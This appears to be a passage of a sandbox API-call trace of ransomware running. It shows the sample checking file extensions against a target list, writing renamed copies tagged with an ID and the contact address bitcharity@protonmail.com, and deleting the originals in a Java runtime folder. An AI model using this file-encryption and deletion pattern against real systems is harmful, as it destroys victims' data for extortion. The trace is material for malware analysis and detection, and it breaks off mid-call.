[0298.115] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1 [0298.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.116] lstrlenW (lpString=".doc") returned 4 [0298.116] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.116] lstrlenW (lpString=".docx") returned 5 [0298.116] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0298.116] lstrlenW (lpString=".pdf") returned 4 [0298.116] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.116] lstrlenW (lpString=".xls") returned 4 [0298.116] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.116] lstrlenW (lpString=".xlsx") returned 5 [0298.116] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0298.116] lstrlenW (lpString=".ppt") returned 4 [0298.116] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.116] lstrlenW (lpString=".zip") returned 4 [0298.116] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.116] lstrlenW (lpString=".rar") returned 4 [0298.116] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.116] lstrlenW (lpString=".bz2") returned 4 [0298.116] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.116] lstrlenW (lpString=".7z") returned 3 [0298.116] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.116] lstrlenW (lpString=".dbf") returned 4 [0298.116] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.116] lstrlenW (lpString=".1cd") returned 4 [0298.116] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.116] lstrlenW (lpString=".jpg") returned 4 [0298.116] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.116] lstrlenW (lpString=".doc") returned 4 [0298.116] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.116] lstrlenW (lpString=".docx") returned 5 [0298.116] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0298.116] lstrlenW (lpString=".pdf") returned 4 [0298.117] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.117] lstrlenW (lpString=".xls") returned 4 [0298.117] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.117] lstrlenW (lpString=".xlsx") returned 5 [0298.117] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0298.117] lstrlenW (lpString=".ppt") returned 4 [0298.117] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.117] lstrlenW (lpString=".zip") returned 4 [0298.117] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.117] lstrlenW (lpString=".rar") returned 4 [0298.117] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.117] lstrlenW (lpString=".bz2") returned 4 [0298.117] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.117] lstrlenW (lpString=".7z") returned 3 [0298.117] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.117] lstrlenW (lpString=".dbf") returned 4 [0298.117] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.117] lstrlenW (lpString=".1cd") returned 4 [0298.117] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0298.117] lstrlenW (lpString=".jpg") returned 4 [0298.117] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.117] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.117] lstrlenW (lpString="gstreamer-lite.dll") returned 18 [0298.117] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0298.118] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=619584) returned 1 [0298.118] CloseHandle (hObject=0x10a8) returned 1 [0298.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0298.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0298.118] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.118] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0298.118] GetLastError () returned 0x0 [0298.118] ReadFile (in: hFile=0x10a8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x97440, lpOverlapped=0x0) returned 1 [0298.348] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x97450, lpOverlapped=0x0) returned 1 [0298.357] ReadFile (in: hFile=0x10a8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.357] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xf8, lpOverlapped=0x0) returned 1 [0298.358] SetEndOfFile (hFile=0x10a4) returned 1 [0298.358] CloseHandle (hObject=0x10a4) returned 1 [0298.358] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.358] SetEndOfFile (hFile=0x10a8) returned 1 [0298.363] CloseHandle (hObject=0x10a8) returned 1 [0298.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.540] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1 [0298.540] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.540] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.540] lstrlenW (lpString=".doc") returned 4 [0298.540] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.540] lstrlenW (lpString=".docx") returned 5 [0298.540] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0298.540] lstrlenW (lpString=".pdf") returned 4 [0298.540] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.540] lstrlenW (lpString=".xls") returned 4 [0298.540] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.540] lstrlenW (lpString=".xlsx") returned 5 [0298.540] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0298.540] lstrlenW (lpString=".ppt") returned 4 [0298.540] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.540] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.540] lstrlenW (lpString=".zip") returned 4 [0298.540] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.540] lstrlenW (lpString=".rar") returned 4 [0298.540] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.540] lstrlenW (lpString=".bz2") returned 4 [0298.540] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.540] lstrlenW (lpString=".7z") returned 3 [0298.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.541] lstrlenW (lpString=".dbf") returned 4 [0298.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.541] lstrlenW (lpString=".1cd") returned 4 [0298.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.541] lstrlenW (lpString=".jpg") returned 4 [0298.541] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.541] lstrlenW (lpString=".doc") returned 4 [0298.541] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.541] lstrlenW (lpString=".docx") returned 5 [0298.541] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0298.541] lstrlenW (lpString=".pdf") returned 4 [0298.541] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.541] lstrlenW (lpString=".xls") returned 4 [0298.541] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.541] lstrlenW (lpString=".xlsx") returned 5 [0298.541] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0298.541] lstrlenW (lpString=".ppt") returned 4 [0298.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.541] lstrlenW (lpString=".zip") returned 4 [0298.541] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.541] lstrlenW (lpString=".rar") returned 4 [0298.541] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.541] lstrlenW (lpString=".bz2") returned 4 [0298.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.541] lstrlenW (lpString=".7z") returned 3 [0298.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.541] lstrlenW (lpString=".dbf") returned 4 [0298.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.542] lstrlenW (lpString=".1cd") returned 4 [0298.542] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0298.542] lstrlenW (lpString=".jpg") returned 4 [0298.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.542] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.542] lstrlenW (lpString="java.dll") returned 8 [0298.542] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0298.542] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=159808) returned 1 [0298.542] CloseHandle (hObject=0x1098) returned 1 [0298.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0298.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.543] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0298.543] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.543] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.543] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0298.762] GetLastError () returned 0x0 [0298.762] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x27040, lpOverlapped=0x0) returned 1 [0298.971] WriteFile (in: hFile=0x10cc, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x27050, lpOverlapped=0x0) returned 1 [0298.974] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.974] WriteFile (in: hFile=0x10cc, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe4, lpOverlapped=0x0) returned 1 [0298.974] SetEndOfFile (hFile=0x10cc) returned 1 [0299.006] CloseHandle (hObject=0x10cc) returned 1 [0299.006] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.006] SetEndOfFile (hFile=0x1098) returned 1 [0299.008] CloseHandle (hObject=0x1098) returned 1 [0299.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.008] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1 [0299.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.008] lstrlenW (lpString=".doc") returned 4 [0299.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.008] lstrlenW (lpString=".docx") returned 5 [0299.008] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0299.008] lstrlenW (lpString=".pdf") returned 4 [0299.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.008] lstrlenW (lpString=".xls") returned 4 [0299.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.008] lstrlenW (lpString=".xlsx") returned 5 [0299.008] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0299.008] lstrlenW (lpString=".ppt") returned 4 [0299.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.008] lstrlenW (lpString=".zip") returned 4 [0299.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.009] lstrlenW (lpString=".rar") returned 4 [0299.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.009] lstrlenW (lpString=".bz2") returned 4 [0299.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.009] lstrlenW (lpString=".7z") returned 3 [0299.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.009] lstrlenW (lpString=".dbf") returned 4 [0299.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.009] lstrlenW (lpString=".1cd") returned 4 [0299.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.009] lstrlenW (lpString=".jpg") returned 4 [0299.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.009] lstrlenW (lpString=".doc") returned 4 [0299.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.009] lstrlenW (lpString=".docx") returned 5 [0299.009] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0299.009] lstrlenW (lpString=".pdf") returned 4 [0299.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.009] lstrlenW (lpString=".xls") returned 4 [0299.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.009] lstrlenW (lpString=".xlsx") returned 5 [0299.009] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0299.009] lstrlenW (lpString=".ppt") returned 4 [0299.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.009] lstrlenW (lpString=".zip") returned 4 [0299.010] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.010] lstrlenW (lpString=".rar") returned 4 [0299.010] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.010] lstrlenW (lpString=".bz2") returned 4 [0299.010] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.010] lstrlenW (lpString=".7z") returned 3 [0299.010] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.010] lstrlenW (lpString=".dbf") returned 4 [0299.010] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.010] lstrlenW (lpString=".1cd") returned 4 [0299.010] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0299.010] lstrlenW (lpString=".jpg") returned 4 [0299.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.010] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0299.010] lstrlenW (lpString="javaw.exe") returned 9 [0299.010] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0299.011] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=206912) returned 1 [0299.011] CloseHandle (hObject=0x1098) returned 1 [0299.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0299.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0299.011] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.011] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0299.012] GetLastError () returned 0x0 [0299.012] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x32840, lpOverlapped=0x0) returned 1 [0299.062] WriteFile (in: hFile=0x10cc, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x32850, lpOverlapped=0x0) returned 1 [0299.065] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.065] WriteFile (in: hFile=0x10cc, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe6, lpOverlapped=0x0) returned 1 [0299.065] SetEndOfFile (hFile=0x10cc) returned 1 [0299.065] CloseHandle (hObject=0x10cc) returned 1 [0299.065] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.065] SetEndOfFile (hFile=0x1098) returned 1 [0299.067] CloseHandle (hObject=0x1098) returned 1 [0299.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.067] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1 [0299.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.068] lstrlenW (lpString=".doc") returned 4 [0299.068] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.068] lstrlenW (lpString=".docx") returned 5 [0299.068] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0299.068] lstrlenW (lpString=".pdf") returned 4 [0299.068] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.068] lstrlenW (lpString=".xls") returned 4 [0299.068] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.068] lstrlenW (lpString=".xlsx") returned 5 [0299.068] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0299.068] lstrlenW (lpString=".ppt") returned 4 [0299.068] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.068] lstrlenW (lpString=".zip") returned 4 [0299.068] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.068] lstrlenW (lpString=".rar") returned 4 [0299.068] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.068] lstrlenW (lpString=".bz2") returned 4 [0299.068] lstrcmpiW (lpString1=".bz2", 